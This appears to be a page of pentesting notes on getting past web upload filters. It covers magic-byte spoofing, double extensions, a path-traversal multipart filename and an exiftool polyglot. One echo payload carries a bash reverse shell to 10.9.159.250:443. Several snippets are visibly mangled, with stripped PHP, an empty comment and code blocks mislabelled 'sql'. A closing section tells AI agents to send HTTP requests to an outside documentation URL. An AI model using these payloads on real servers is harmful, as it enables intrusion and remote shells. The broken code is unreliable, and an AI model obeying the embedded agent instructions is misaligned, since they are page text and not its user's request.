# File upload *** Upload forms that allow to upload files are interesting to investigate. ## Steps to find vulnerable upload form 1. Find the webserver language 1. PHP, Python, etc 2. Check for filters on the form 1. Allowed to upload any file? 2. Only checks file extension? 3. Bypass filter 1. Change magic number of file using hexeditor 2. Change file name and add file extension (example.jpg.php) ## Examples Bypass file extension filters: **Add pixel to reverse shell to make it look like a image:** ```sql echo -e $'\x89\x50\x4e\x47\x0d\x0a\x1a\n& /dev/tcp/10.9.159.250/443 0>&1'");' > shell.png.php2 ``` **GIF89a; header** GIF89a is a GIF file header. If uploaded content is being scanned, sometimes the check can be fooled by putting this header item at the top of shellcode: ```sql GIF89a; ``` ## Bypass upload filters {% embed url="" %} ## File upload and Path traversal Sometimes the server is configured to prevent execution of user-supplied files. We can maybe bypass the location to upload somewhere else using path traversal: ``` -----------------------------37439413615083975161695220246 Content-Disposition: form-data; name="avatar"; filename="..%2fexploit.php" Content-Type: application/octet-stream ``` Response: ``` The file avatars/../exploit.php has been uploaded.

``` Now go to the upper directory of avatars, maybe something like /files and /files/exploit.php. ## Bypass with Polyglot ``` exiftool -Comment="" test-412579532.png -o polyglot.php ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://notes.incendium.rocks/pentesting-notes/web/file-upload.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.